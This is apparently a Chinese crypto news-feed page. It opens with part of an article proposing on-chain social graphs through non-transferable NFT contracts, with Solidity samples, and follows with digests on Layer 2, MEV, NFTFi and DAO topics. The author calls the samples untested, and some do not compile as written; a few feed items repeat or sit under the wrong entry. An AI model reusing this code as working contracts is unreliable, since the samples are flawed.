NTFT 来表示上述的三种关系。对于以下三个社交合约，持有 ENS NFT 的同一个钱包也应该拥有这些合约，它们的三个对应的 ENS 地址记录应该指向这些合约： 这三种情况的语义基本上都是：「相对于我，即合约所有者，你是 X」，其中「X」是追随者、屏蔽、静音的一种。 这里有一个追随者合约样本： // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract OCGFollower is ERC721, ERC721Enumerable, Pausable, Ownable, ERC721Burnable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor() ERC721("OCGFollower", "OCGF") {} function _baseURI() internal pure override returns (string memory) { return "https://jonstokes.com/ocg/follower"; } function relationship() public { return "ocg follower"; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function safeMint(address to) public { //Prevent anyone but the owner from minting //a token to an address they don't own. require(isOwner(_msgSender()) || (_msgSender() == to), "Unable to mint to this address"); uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256) pure override internal { //Disable token transfers. require(from == address(0) || to == address(0), "Cannot be transferred."); } // The following functions are overrides required by Solidity. function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } 如果你熟悉 Solidity，你可以看到这个非常简单（而且未经测试！）的合约试图做什么。 首先是扩展： 现在对 OpenZeppelin 向导的输出进行修改： 这一切真的很简单，对于 OCG 的屏蔽和 OCG 的静音变体，你要做以下小改动： 显然，这将取决于平台是否以正确的方式履行这些合约（即关注、屏蔽、静音）。不过，这没有听起来那么有威胁性和不稳定，因为如果一个特定的社交平台不履行你所关心的合约，就不要使用它。 你可以在 safeMint 中加入 payable，然后使用 setMintRate 来设定人们必须为以下内容向你支付的价格。因此，类似于这样的内容： uint256 public mintRate = 0.01 ether; function setMintRate(uint256 mintRate_) public onlyOwner { mintRate = mintRate_; } function safeMint(address to) public payable { // Require pay-to-follow require(msg.value >= mintRate, "Not enough ether to mint"); //Prevent anyone but the owner from minting //a token to an address they don't own. require(isOwner(_msgSender()) || (_msgSender() == to), "Unable to mint to this address"); uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } 我相信我还能想到许多其他的调整和功能来添加到这个建议中，但最好从简单和容易理解的东西开始。 上面描述的 OCG 合约足够简单，但该方案有一些特质，可能会使很多人产生分歧： 鉴于不是每个人都会喜欢这个建议的这些特质，我想提出一套替代的社交合约，给用户和平台更细化的控制，特别是谁能看到什么样的信息，而且使用成本更低。 链式链接图（CLG）的基本思想： 我们不通过 NFT 直接在链上表示社交关系（关注、屏蔽、静音），而是在链下存储这些关系，并使用链上代币来发现和访问这些关系。 那么该社交关系就不是直接在链上的，而是通过一组合约和 URL 与链相连。 与 OCG 一样，三种社交关系中的每一种都由智能合约来管理，但 CLG 的语义不同： 因此，CLG 令牌的语义是：「这是对我 X 账户列表的读取权限」，其中「X」是「关注」、「静音」或「屏蔽」。 你可以把我在这一节中提出的建议看作是我为信息应用描述的电话号码 + 地址簿组合的一个近似物。你的电话号码是（准）公开的，当你把一个新的消息应用程序连接到它时，你可以授予或拒绝该应用程序对你的联系人的读取权限。 在我的 CLG 社交令牌计划中，你的 ENS 名字就像你的电话号码一样是公开的，你发行和撤销令牌，以便授予和拒绝阅读与你有某种关系的人的名单。如果你愿意，你可以把这些令牌授予随机用户，但主要是你要把它们授予社交平台，以便这些平台知道谁的帖子要显示给你，谁的帖子要隐藏（或谁不应该看到你的帖子）。 ( 对构成你的社交图的列表的写入权限可能由你正常的 ENS NFT 控制–如果你的钱包里有你的 ENS 名字，你就可以对列表进行写入 / 更新 / 删除的修改。一个可能的替代方案是有第四个社交合约，授予 NTFT 持有者列表写入权限，这样你就可以将列表管理外包给一些第三方） 在链下托管这些列表，同时从链上指向它们，有几个好处：   代币访问控制和读取访问 实现 CLG 合约的关键创新是代币访问控制。代币访问控制背后的概念是，除非你用含有特定访问代币的钱包连接到主机，否则你不能访问主机上的特定数据。 例如，你可以对 IPFS 上的内容进行代币访问控制，这样只有用钱包中的特定 NFT 连接到端点的读者才能查看特定的文件。 CLG 使用令牌门为我们的社交合约增加了一些间接性，因此，社交 NFT 不是代表一种特定类型的关系–关注、静音或屏蔽–而是代表对你的社交图谱的一部分的读取权限。 很明显，为了使代币门槛发挥作用，平台必须尊重它。据推测，如果平台不尊重代币访问控制，你会把你的关系列表转移到其他平台，并改变你的合约，必要时重新发布任何 NFT。 另外，要清楚的是，有些人的名单在某些时候会泄露。我们生活在一个个人数据泄露的世界，所以如果数据被托管在某个地方，那么有些数据就会被泄露。我将在后面的章节中讨论一些可能的缓解措施。 下面的合约将是一个标准的 ERC721 NTFT 合约，与上述 OCG 的合约非常接近： // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract CLGFollows is ERC721, Pausable, Ownable, ERC721Burnable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor() ERC721("CLGFollows", "CLGF") {} function _baseURI() internal pure override returns (string memory) { return "https://jonstokes.com/clgfollows/"; } function listURI() public { return "https://jonstokes.com/clgfollows/list"; } function relationship() public { return "clg follows"; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function safeMint(address to) public onlyOwner { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256) pure override internal { //Disable token transfers. require(from == address(0) || to == address(0), "Cannot be transferred."); } } 所有的扩展都与 OCG 相同，只是我没有包括 ERC721Enumerable，因为不清楚是否有人想让他们的 CLG Follows 代币被列举出来（另外它提高了铸币的 gas 成本） 至于函数方面，我对 OpenZeppelin 向导的输出做了以下修改： 大多数情况下，你会使用 CLG Follows NTFT，把它发布到社交平台拥有的地址。这样，该平台可以读取你的关注列表，并向你展示正确的帖子。 但你也可以把这些 NTFTs 发给追随者，以便你的追随者可以发现其他追随者。你可以通过空投给追随者，或者通过解禁造币，让任何人造币来实现。 所有其他合约的工作方式与上述完全相同，但有不同的名称和符号，并从 relationship() 和 listURI() 返回不同的值。 如果你担心你的列表从不同的服务中泄漏，那么把 listURI() 变成更像 tokenURI(uint256 tokenId) 的东西是非常直接的，即签名是 listURI(uint256 tokenId)，它把 tokenID 连接到一个基本 URI 的末尾，这样每个 token 持有者就可以得到自己的列表 URL。这个功能与列表主机上的一些逻辑相结合，可以让你把列表隔离开来，使不同的令牌持有者得到主图的不同子图。这样一来，如果一个平台被拥有，那么只有我的图的那一部分被泄露了。 和 OCG 一样，你可以把 safemint 变成一个可支付的函数，并向访问你的列表的人收费。请看 OCG 部分的代码，以了解这个例子的情况。 你可能希望能够更新 tokenURI() 和 / 或 listURI() 返回的 URLs，在这种情况下，你需要将这些 URLs 存储在变量中，在构造函数中初始化它们，并为更新它们提供 onlyOwner setter 函数。这将增加你的铸币成本，但如果你只打算把它们给服务而不是个人，这可能并不重要。 这里概述的两个建议都提供了一些集中式托管服务的地方，即使它只是一个权宜之计，在生态系统过渡到像 IPFS 这样的分布式系统之前。 最明显的服务类型是托管由 URI 功能之一返回的任何东西–配置文件数据、NTFT 元数据和代币控制的 JSON 列表（在 CLG 的情况下）。 另一个有用的服务是一种专门的 Infura 版本，通过 API 暴露链上的社交数据。或者，Infura 可以为社交数据提供一个专门的 API。 最后，可以有第三方服务来验证账户，以满足用户和组织的需求。 我不知道我是否期望我的链上社交图谱建议会以我在这里描述的形式被采纳。我提出这些想法，更多的是为了引发对话，讨论我们如何从目前完全锁定平台的状态有效地过渡到更便携的状态，即你拥有你的图谱，并可以轻松地将它随身携带。 上述内容有一部分看起来有点像 web5 的提议，但关键的区别在于，我的两个想法被设计得更简单，并利用了智能合约和现有的链上身份提供者（ENS，但也包括其他链上的类似提供者）。 如果你从这篇文章中没有其他收获，我希望我至少已经说明，在一个分布式账本技术和智能合约的世界里，我们任何人都没有必要在 2022 年被锁定在一个社交网络里。解决这个锁定问题的工具是广泛存在的，我们只需要拿起它们并使用它们。  ( 6 min )
    2023年推动Layer2生态进一步发展的6大催化剂
    撰写：The DeFi Investor 编译：深潮 TechFlow 当今加密货币市场中，以太坊生态系统一直是最为活跃和受欢迎的项目之一。然而，要实现大规模采用还需要更多的创新和突破。2023 年将是一个关键的转折点，有六个重要因素将推动以太坊及其二层扩展更接近于大规模采用。让我们来看看这些因素是什么。 1. Eigenlayer 主网上线 Eigenlayer 是我最近发现的最具创新性的项目之一。它可以看作是一个 $ETH 重新质押的解决方案。使用 Eigenlayer，以太坊验证者将能够同时保护多个网络/协议。 衡量 PoS 链安全性的一种好方法是查看验证者锁定的代币总价值，这个值越高，攻击成本就越大。 正是由于这一点，以太坊是最安全的 L1 之一，因此其他协议可能有兴趣从中租用安全性。简而言之，Eigenlayer 正在建立一个市场，在该市场上 ETH 节点运营商可以选择提供额外费用的服务。他们甚至可以验证诸如侧链甚至非 EVM 网络等网络。不良行为将被削减他们锁定的 ETH。 从 L1 和 L2 到预言机和桥接器，任何项目都可以利用 Eigenlayer 的技术。即将推出的以太坊 L2 模块化设计项目 Mantle 就是将使用 EigenLayer 的数据可用性解决方案之一。 预计 Eigenlayer 主网将在第三季度推出。 即将到来的以太坊升级引发了对流动性质押衍生品的巨大兴趣。上海将启用 $ETH 质押提款以及其他小改动。然而，这可能不会像许多人预期的那样引起大规模的 $ETH 抛售。 该升级将设置取款队列，防止所有人一次性取回他们抵押的 ETH。此外，似乎不到 50% 的 $ETH 质押者处于盈利状态，因此大规模的 $ETH 抛售是不太可能的。 预计上海升级将在 2023 年 4 月进行。 Arbitrum Nitro 升级显著降低了 Arbitrum 的 Gas 费用，并帮助它获得更多的关注。现在轮到 Optimism 了。 Optimism Bedrock 在 2022 年 5 月推出。它被描述为最便宜和最快的 Rollup 架构。一旦上线，用户应该期望 Optimism 上的平均交易费用降低，同时存款速度更快。此外，它还将使 Optimism 可以整合 ZK 证明，使它更加安全。 启动时间：2023 年第二季度。 你是否认为在今年推出 $ARB 后，Arbitrum 团队只是在休息？事实并非如此，下一个重大的 Arbitrum 升级称为 Stylus。Stylus 将允许部署使用最流行编程语言编写的程序。 没错，Arbitrum 将成为第一个支持多种编程语言的 L2，如 Rust 和 C++。除此之外，它还将使 Arbitrum 更具可扩展性。 启动时间：2023 年。 第一个 zkEVMs 的主网正式推出终于要成为现实了。zkEVMs 是与 EVM 兼容/等效的以太坊扩展解决方案，使用 ZK proofs 来验证交易。开发人员可以直接在这些扩展解决方案上部署以太坊智能合约。 ZK Rollups 被认为比 Optimistic Rollups 更加安全和高效。zksync 和 Polygon 已经推出了第一个 zkEVMs 主网，但这只是个开始。 Consensys 和 Taiko 预计也将在今年晚些时候推出他们的 zkEVMs 主网。 Proto-danksharding 是另一个主要的以太坊升级，预计今年晚些时候将准备就绪。它将为以太坊引入一种新的交易类型，大幅降低 L2 的交易费用。 这将使以太坊 L2 更具可扩展性，并使其更加适合散户投资者。最初，这个升级计划在与上海升级同一天推出。但由于质押取款是主要任务，因此该计划被推迟到秋季。 我个人最期待 Proto-danksharding 升级，使用 L2 需要 0.3 美元的交易费用仍然很高。要使以太坊 L2 对每个人都可访问，费用必须低于 0.05 美元。  ( 2 min )

  • Open

    zkSync Era 上线一周，盘点 34 个已上线生态项目
    Chainfeeds 导读： zkSync Era 主网 Alpha 版本自 3 月 24 日上线已过去一周，链上的总锁仓价值（TVL）已达 2746 万美元，用户数约为 17.8 万。Foresight News 整理已官宣上线 zkSync Era 的 34 个项目，涵盖 DeFi、钱包、跨链、NFT 、基础设施等多个领域。 文章来源： https://foresightnews.pro/article/detail/29667 文章作者： angelilu 观点： angelilu：DeFi（12 个）：订单簿 DEX：MES Protocol、ZigZag Exchange、Mute.io；AMM DEX：SyncSwap；DeFi 聚合器：rhino.fi、UniDex、Fringe Finance、Onchain Trade；借贷：Nexon Finance；稳定币：Meson；Perps：Phezzan Protocol、Increment。 内容来源 angelilu：基础设施（5 个）：预言机：Pyth Network、RedStone Oracles；开发者工具：thirdweb；数据：DeFiLlama、Sentio。NFT 市场及项目（6 个）：NFT：zkAnimals、Skullverse、zkApes、zkEagles；市场：tofuNFT、kreatorland。 内容来源 angelilu：钱包（6 个）：ONTO Wallet、BlockWallet、BitKeep、Raise Finance、OKX Wallet、Argent。跨链（4 个）：Celer Network、Orbiter Finance、Multichain、SpaceFi。其他（1 个）：Goal3。 内容来源  ( 19 min )
    【英文长推】Impossible Finance 创始人：为何看好泰国 Web3 行业的发展
    Chainfeeds 导读： Impossible Finance 创始人 Calvin 结合泰国加密咨询公司 Cryptomind 的数据报告，解读了当前泰国 Web3 行业的发展现状，并从监管、实际采用等多个角度，分析了他看好泰国 Web3 行业的发展的原因。 文章来源： https://twitter.com/calchulus/status/1641341257028108289 文章作者： Calvin 观点： Calvin：泰国是一个高度数字化的国家，普通公民在他们的设备上花费日均 8 小时以上。泰国 7175 万总人口的人口中有约 100 万用户访问 Coinmarketcap。泰国拥有较大的法定交易所生态系统，这归功于交易所可以获得的明确许可。根据泰国证券交易委员会的数据，泰国公民已经创建了近 290 万个 KYC 账户。这与新加坡 60% 的市场渗透率相同。【原文为英文】 内容来源 Calvin：自 2020 年 9 月至 2022 年 7 月，MetaMask 在泰国被下载超 60 万次，占全国总人口的 0.1%。在泰国，Pancake Swap 的流量相较 Uniswap 的流量多了上百倍，而 Opensea 的访问量更是 Uniswap 的 500 倍。【原文为英文】 内容来源 Calvin：合规方面，泰国颁布了「Emergency Decree on Digital Asset Businesses」，对所有实践都有明确指导。ICO 在泰国也是合法和可注册的。泰国的 Web3 行业整体充满活力，有许多与社区建设、技术、媒体、大学生团体、受监管企业、PoW、PoS、区块链、基金、加速器相关的不同参与者。【原文为英文】 内容来源  ( 2 min )
    Messari：深度解读 DAO 工作组的资金分配现状
    Chainfeeds 导读： 任何形式的组织都会面临资源分配的问题，那么 DAO 在治理过程中是如何分配的？Messari 发布报告，从 10 个 DAO 的预算支付情况入手，解读了 DAO 在 2022 年如何以及在何处分配资源。本文由 PANews 翻译。 文章来源： https://www.panewslab.com/zh/articledetails/6wfryre9.html 文章作者： Ryan Holloway 观点： Ryan Holloway：在所涵盖的 10 个 DAO 中，2022 年超过 1 亿美元分配给内部 DAO 劳动力。在这 1 亿美元中，55% 用于产品和开发计划。紧随其后的是增长计划、运营、营销和社区。这种模式表明 DAO 正在积极投资于构建和维护稳健的技术基础。 内容来源 Ryan Holloway：虽然已经有许多 DAO 工具可用，但是新的创新和策略可以通过改善贡献者的工作氛围来吸引人才：1. 更加重视绩效衡量和问责制；2. 关注贡献者留存率和满意度；3. 试验新的薪酬模型；4. 多 DAO 协作与报酬；5. 平衡权力下放和贡献者保留。 内容来源  ( 3 min )
    【英文】新项目前瞻｜x/builder：基于 Cosmos ABCI++ 的 MEV 构建模块
    Chainfeeds 导读： Cosmos 生态 MEV 基础设施 Skip Protocol 引入 MEV 构建模块 x/builder，帮助 Cosmos SDK 链捕获和控制 MEV。团队成员 hxrts 撰文介绍了 x/builder 的实现方式及用例。 文章来源： https://ideas.skip.money/t/x-builder-the-first-sovereign-mev-module-for-protocol-owned-building/57 文章作者： Sam Hart 观点： Sam Hart：ABCI++ 是 ABCI 的进化版，引入了新设计空间：可编程的共识。x/builder 模块利用 ABCI++ 提供任何 Cosmos SDK 应用程序都可以采用的链上构建器。ABCI++ 允许开发人员通过将 MEV 编程到区块生产和共识中，从而重新获取和定向他们的应用所创造的 MEV。【原文为英文】 内容来源 Sam Hart：x/builder 模块将分四个阶段发布，其第一版本 V0 将包括：抗操纵的区块空间拍卖、链上订单流拍卖、交易模拟市场以及达成共识的收费市场等主要功能。V0 版本将于 4 月下旬发布，面向支持 PrepareProposal 和 ProcessProposal 的链（Cosmos SDK v0.47 及更高版本）。【原文为英文】 内容来源  ( 5 min )
    Folius Ventures：「塞尔达：王国之泪」对 Web3 游戏可组合性设计的启示
    Chainfeeds 导读： 3 月 28 日，「塞尔达传说：王国之泪」发布新版本演示视频，介绍了在该新作中主角林克将拥有的新技能。Folius Ventures 研究员 Aiko 发布长推，梳理了「塞尔达传说：王国之泪」中所展示的一些可组合性玩法，并探析了相关设计对于 Web3 游戏的借鉴性意义。本文由星球日报编译。 文章来源： https://www.odaily.news/post/5186114 文章作者： Aiko 观点： Aiko：Fuse 所代表的是装备（比如剑、弓、盾牌等等）的可组合性，其作为「功能型设计」的好处在于：从体验上看，通过提供多样化的体验，可激发玩家的探索欲和创造力，使其将新体验而非数值增长作为追求；从经济上看，低成本、可组合性强、功能各异、有叠加效果的基础组件也有助于游戏的增强经济活性和厚度。 内容来源 Aiko：Ultrahand 所代表的则是载具（比如车、船）的可组合性，如通过将「风扇」（消耗品）放置在载具的不同位置，可以驾驶载具（耐用品）在水、陆、空中行驶。该设计的意义在于，通过尝试将耐用品巧妙地设计为消耗品，同时加强对耐用品的分层，可维持不同层次耐用品的长期需求，继续延伸的话还可以通过解锁其流动性，在增加游戏趣味的同时进一步扩大交易空间。 内容来源  ( 6 min )
    【英文】MEV 业务模型探讨：Flashbots 的商业化之路
    Chainfeeds 导读： Protocol Labs 研究员 Catrina Wang 探讨了 MEV 市场的发展现状及未来的趋势预测，并以 Flashbots 为例，分析了其当前在 MEV 领域的竞争优势，并畅想了多个可能的货币化策略。 文章来源： https://blockcrunch.substack.com/p/is-flashbots-a-bad-business-the-flashy 文章作者： Catrina Wang 观点： Catrina Wang：MEV 是一个潜力巨大的市场，但 Flashbots 能否保持市场领先地位取决于以下三个因素：1.Flashbots 目前的潜在市场正在被即将到来的 ETH 原生 MEV 功能和 L2 Rollups 所挤压；2.MEV 产品往往是不具备粘性的，Flashbots 正在为了公共利益不断放弃其竞争优势；3. 有大量的新加入者和替代 MEV 的解决方案。【原文为英文】 内容来源 Catrina Wang：Flashbots 的商业模式和货币化路线的方向。方向一：打开费用开关，为股权累积价值。可能的结果：市场份额减少、新进入者、市场模式趋向于 NFT 市场（收费竞争）。方向二：推出 Flashbots/SUAVE 代币。设计 1：推出 SUAVE 治理代币，最小化对用户体验的干扰；设计 2：要求 MEV 参与者使用 SUAVE 购买 Flashbots 的产品和服务。【原文为英文】 内容来源 Catrina Wang：对 MEV 未来的总结预测：1.Flashbots 将把 SUAVE 代币化，并通过品牌资产来实现货币化；2.SUAVE 将在跨链 MEV 中发挥重要作用；3. 跨链 MEV 激增；4.EIP 4337 将创造新的 MEV 行为者类别；5. MEV 初创公司将从 Private Order Flow 寻求货币化；6.MEV 可能成为钱包为数不多的货币化杠杆之一；7. 区块空间的均衡价格将出现。【原文为英文】 内容来源  ( 38 min )
    【中文长推】解读胖企鹅 CEO 的 NFT 六层价值漏斗模型：有何启发？
    Chainfeeds 导读： 胖企鹅 CEO Luca Netz 依据 NFT 的商业模型和实际业务绘制了一个 NFT 价值漏斗模型，包含从品牌认知、消费者群体、粉丝到最终的 8888 个胖企鹅的买家的 6 层流转。NFT 研究员 starzq.eth 对该模型进行了拆解和解读。 文章来源： https://twitter.com/starzqeth/status/1641696854097399808 文章作者： starzq.eth 观点： starzq.eth：1.IP 即内容，第一步是让更多人知道你，通过社交媒体和 meme 曝光给上亿用户，建立品牌知名度。胖企鹅利用 gif 形成了巨大的曝光和传播，这一点值得其他项目方学习。2. 消费者群体。NFT 的购买门槛太高，所以 Luca Netz 通过 IP 衍生品（比如毛绒玩具、T 恤）将来降低门槛，先积累消费者。 内容来源 starzq.eth：3. 通过教育 NFT Collectors 和 Buyers, 最终转化为 8888 个胖企鹅的买家。这群人有自己的主见，所以项目方要做的不是去销售，而是去教育，让其对你感兴趣。4. 由于供给固定，随着通过社交媒体、衍生品来提升用户需求，NFT 价格自然会上涨。5. 最后是留存的设计，社区和体验是核心，无需多言。 内容来源  ( 2 min )
    【英文长推】分布式资本研究员：我为什么期待 SUAVE？
    Chainfeeds 导读： 分布式资本研究员 BallsyAlchemist 分享了关于围绕 Flashbots 争论中缺失的一些内容，并表示自己非常看好 SUAVE，且围绕 SUAVE 代币价值积累的想象空间是巨大的。 文章来源： https://twitter.com/ballsyalchemist/status/1641607787594633217 文章作者： BallsyAlchemist（分布式资本） 观点： BallsyAlchemist（分布式资本）：1）信任最小化排序的价值：排序器的核心是一个订单流游戏，最终目标是在不影响安全和去中心化的情况下吸引更多的订单流。SUAVE 让我们看到了交易排序以信任最小化方式执行的未来；2）排序器的可选择性：大部分 Rollup 的最终目标是一致的，即拥有一个无需权限和去中心化的排序器堆栈。因此我不认为「MEV-leakage」是一个问题，相反它可以激励我们更好调整 MEV 以实现堆栈去中心化。我们现在也看到了更多选择，例如 SUAVE、Espresso Systems、Astria 等；【原文为英文】 内容来源 BallsyAlchemist（分布式资本）：3） Pre-PBS 问题：L2 排序器面临着和 PoW 矿工类似的问题，因此在 MEV 通道中减少对共识的依赖及加密经济安全的垂直化是有必要的；4）SUAVE 价值积累：我不确定是否会存在 SUAVE 代币，但也有一些方法可以通过重质押 ETH 或 SUAVE 代币来获取价值，但可能需要一些额外担保以保证参与 MEV-share 的构建者行为。【原文为英文】 内容来源  ( 2 min )
    【英文】Variant Fund 合伙人谈 NFT MEV 景观：当前结构、MEV 类型及 NFT 基础设施机会
    Chainfeeds 导读： NFT 市场结构和可替代代币的市场结构存在很大不同，因此 NFT MEV 景观也看起来不同，尤其是存在较少的套利机会，更多的 MEV 会在 memepool 期间被提取。Variant 投资合伙人 Alana Levin 撰文尝试厘清 NFT 市场中的新兴 MEV 机会，并考虑在这些机会下该如何构建 NFT 基础设施。 文章来源： https://frontier.tech/the-nft-mev-landscape 文章作者： Alana Levin 观点： Alana Levin：NFT MEV 类型：1）套利：包括 Sweep 及重新上架以获得更高的价格。找到没有被视为巧合的需求，例如搜索者调用 Seaport 的 MATCH 功能来完成两个订单，并要求将差额作为小费。找到具有特定特质的 NFT，并以低于其他具有相同特质的 NFT 的交易价格买下，随后以更高的价格重新上架；2）三明治攻击：目前由于大部分 NFT 不会醉着供应变化而重新定价，因此 NFT 市场似乎不存在三明治攻击，但一些动态定价基础设施的出现，例如 Sudoswap，或许会导致三明治攻击的出现。【原文为英文】 内容来源 Alana Levin：3）清算 MEV：可能会存在一批专门操纵地板价格或某些 NFT 质押价格的搜索者，抢先或控制 NFT 清算时机；4）其他类型的 MEV：铸造期间的拥堵、与 NFT 租赁相关的套利及意外将订单保留在列表中等。【原文为英文】 内容来源 Alana Levin：NFT MEV 类型：1）套利：包括 Sweep 及重新上架以获得更高的价格。找到没有被视为巧合的需求，例如搜索者调用 Seaport 的 MATCH 功能来完成两个订单，并要求将差额作为小费。找到具有特定特质的 NFT，并以低于其他具有相同特质的 NFT 的交易价格买下，随后以更高的价格重新上架；2）三明治攻击：目前由于大部分 NFT 不会醉着供应变化而重新定价，因此 NFT 市场似乎不存在三明治攻击，但一些动态定价基础设施的出现，例如 Sudoswap，或许会导致三明治攻击的出现。【原文为英文】 内容来源  ( 25 min )
    逆向投资原则，熊市值得关注的 9 个 NFTFi 创新项目
    Chainfeeds 导读： 加密研究员 rick awsb 精选了 9 个值得关注的 NFTFi 项目，对其进行盘点概括。 文章来源： https://twitter.com/rickawsb/status/1641470917581893632 文章作者： rick awsb 观点： rick awsb：1）Caviar，NFT Market，界面便于扫地板，有点去中心化的 blur 的意思。2）pxswap： Kava 链上的 NFT AMM，允许挂限价单，允许多币种交易 nft，项目非常早期，没有找到任何文档，非常高风险。 内容来源 rick awsb：2）Tribe3，NFT 期货交易平台，多空杠杆，AMM 机制，利用套利扳平平台和市场价格（此处有风险，一是交易量大的时候交易方有动力操控市场价格从合约获利；另外当 nft 流动性不足的时候无法快速搬平市场价格导致价差持续偏离）；The Spartan Group 投资；测试网已发布，交互可能有空投。4）Whitehole Finance，NFT 加 erc20 借贷协议，BSC 和 ARB 上发行。 内容来源 rick awsb：5）Feta，NFT 期权，测试网已上线。6）0xdx，NFT 期权 launch pad 及交易平台，无许可发布新期权。7）Goldilocks，发布 DeFi 三件套：AMM，yeild vault，NFT 借贷。都有所创新。其中，bera 系列的 NFT 借贷，以 NFT 做抵押，借 bera 治理币，币和 bera NFT 价值挂钩，所以不容易爆仓。 内容来源  ( 2 min )
    【英文长推】盘点 11 个加密人工智能项目：AI 和数据市场、去中心化网络、去中心化基础设施......
    Chainfeeds 导读： 人工智能和加密货币的结合叙事还将持续一段时间，加密研究员 Patrick | Dynamo DeFi 在对 47 种人工智能加密货币进行分析后，挑选了 11 个最值得关注的加密人工智能项目，并对这些项目技术的结合情况进行了解析。 文章来源： https://twitter.com/Dynamo_Patrick/status/1641600790128123905 文章作者： Patrick | Dynamo DeFi 观点： Patrick | Dynamo DeFi：去中心化网络：Bittensor（TAO）：去中心化机器学习网络，承诺将创建一个任何人都可以访问的开源网络。去中心化基础设施：1）Render（RNDR）：去中心化 3D 渲染解决方案提供商；2）Akash Network（AKT）：去中心化云计算网络，将很快在主网上线。自主代理：Fetch AI（FET）：允许自主代理连接并相互作用，两天前宣布了以 GPT 为动力的集成 Fetchbot。【原文为英文】 内容来源 Patrick | Dynamo DeFi：生成式人工智能：1）imgnAI（IMGNAI）：使用加密货币作为生成性图像的分配机制，任何用户都可以通过加密货币访问；2）Botto（BOTTO）：通过创建一个去中心化人工智能艺术家对生成性图像进行独特渲染，BOTTO 持有者能够依次从拍卖中获得收益；3）Alethea（ALI）：能够根据文本描述创建生成式字符，然后对该字符进行标记并交易其生成式输出。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解读 Arken Finance：帮助开发者在 Arbitrum 上创建应用的去中心化协议
    Chainfeeds 导读： Arken Finance 是一种建立在 Arbitrum 网络上的去中心化协议，它使开发人员能够创建应用程序并帮助用户轻松高效地导航多链。加密 KOL HEADBOY 撰推介绍该协议，并分析其功能、用例、代币经济学、路线图。 文章来源： https://twitter.com/NDIDI_GRAM/status/1641137719559749632 文章作者： HEADBOY 观点： HEADBOY：Arken Finance 基本上是一个抽象层，旨在弥合协议与 dAPP 之间的差距，以帮助开发人员和用户获得快速且良好的集成体验。功能即用例：1）友好的界面；2）交易门户，为用户提供强大的交易页面和数百万流动性资金池；3）AMM 的限价订单和止损限价订单，以帮助用户在交易时管理风险和执行他们的策略；4）安全，协议经过审计，证明了其透明度和真实性，也不会受到任何智能合约风险的影响。【原文为英文】 内容来源 HEADBOY：代币经济学：$ARKEN 是协议的原生代币，最大供应量为 100 亿枚；代币分配为社区 51.75%，生态系统 18.25%。团队 15.00%。顾问 1.50%，投资者 13.50%。路线图：1）第二季度，Arken 期权作为 LP 的激励措施以及长期流动资金池，并且可能通过 GMX 集成在去信任基金管理平台上推出战略性 Alpha 金库和提供衍生品。 内容来源 HEADBOY：2）在第三季度的私募融资中，应该会进行交易所交易工具的升级和向 Zksync 和 OP 等新网络的扩展。51.75% 的 Arken Finance 代币保留给社区，其中 20% 用于激励社区，1% 用于空投。简而言之，Arken Finance 希望奖励该协议的早期采用者，即那些频繁和活跃用户。【原文为英文】 内容来源 Patrick | Dynamo DeFi：AI 和数据市场：1）SingularityNet（AGIX）：开放的去中心化网络，用户互换人工智能服务，目前已经有 12 个解决方案部署在其网络上；2）Oraichain（ORAI）：拥有 200 多个数据集的数据市场和拥有超 120 个 AI API 的 AI 市场，ORAI 用于保证网络安全并用于交易费用；3）Ocean Protocol（OCEAN）：去中心化数据市场，允许用户出售、使用和投资数据；4）iExec（RLC）：去中心化资产计算市场：允许用户在不信任对方的情况下分享数据资产及计算能力；【原文为英文】 内容来源  ( 2 min )
    mStable、Superform、Balancer 和 Aztec 宣布成立「4626 联盟」，以资助推动 ERC-4626 标准发展
    mStable、Superform、Balancer 和 Aztec 宣布成立「4626 联盟」，以资助推动 ERC-4626 标准发展 代币化 Vaults 标准 ERC-4626 早期采用者宣布成立「4626 联盟」，以促进合作及资助推动 ERC-4626 标准发展。根据介绍，「4626 联盟」成员将致力于创造公共产品，包括创建一个赏金委员会、通过活动推广 ERC-4626 标准及创建和维护开源 ERC-4626 资源库等。目前合作伙伴包括 mStable、Superform、Balancer 和 Aztec，均承诺向 Gnosis Safe 提供 3000 至 5000 美元资金以资助 ERC-4626 公共产品。「4626 联盟」首批成员包括 Frax Finance、Alchemix、Joey Santoro 和 Sommelier Finance。 内容来源 观点： 4626 Alliance：ERC-4626 是一个代币化 Vaults 标准，降低了为很多 DeFi 项目提供动力的有收益的 Vault 的整合工作、提高了各个 DeFi 项目的可组合性和能力，并且能够创建原生衍生资产，产生独立于基础资产的新流动性。【原文为英文】 内容来源 4626 Alliance：「4626 联盟」官网：https://erc4626.info/ 内容来源  ( 6 min )
    【英文长推】Delphi Digital：ZK-Rollup 正在获得 L2 生态系统份额，速览各类解决方案最新进展
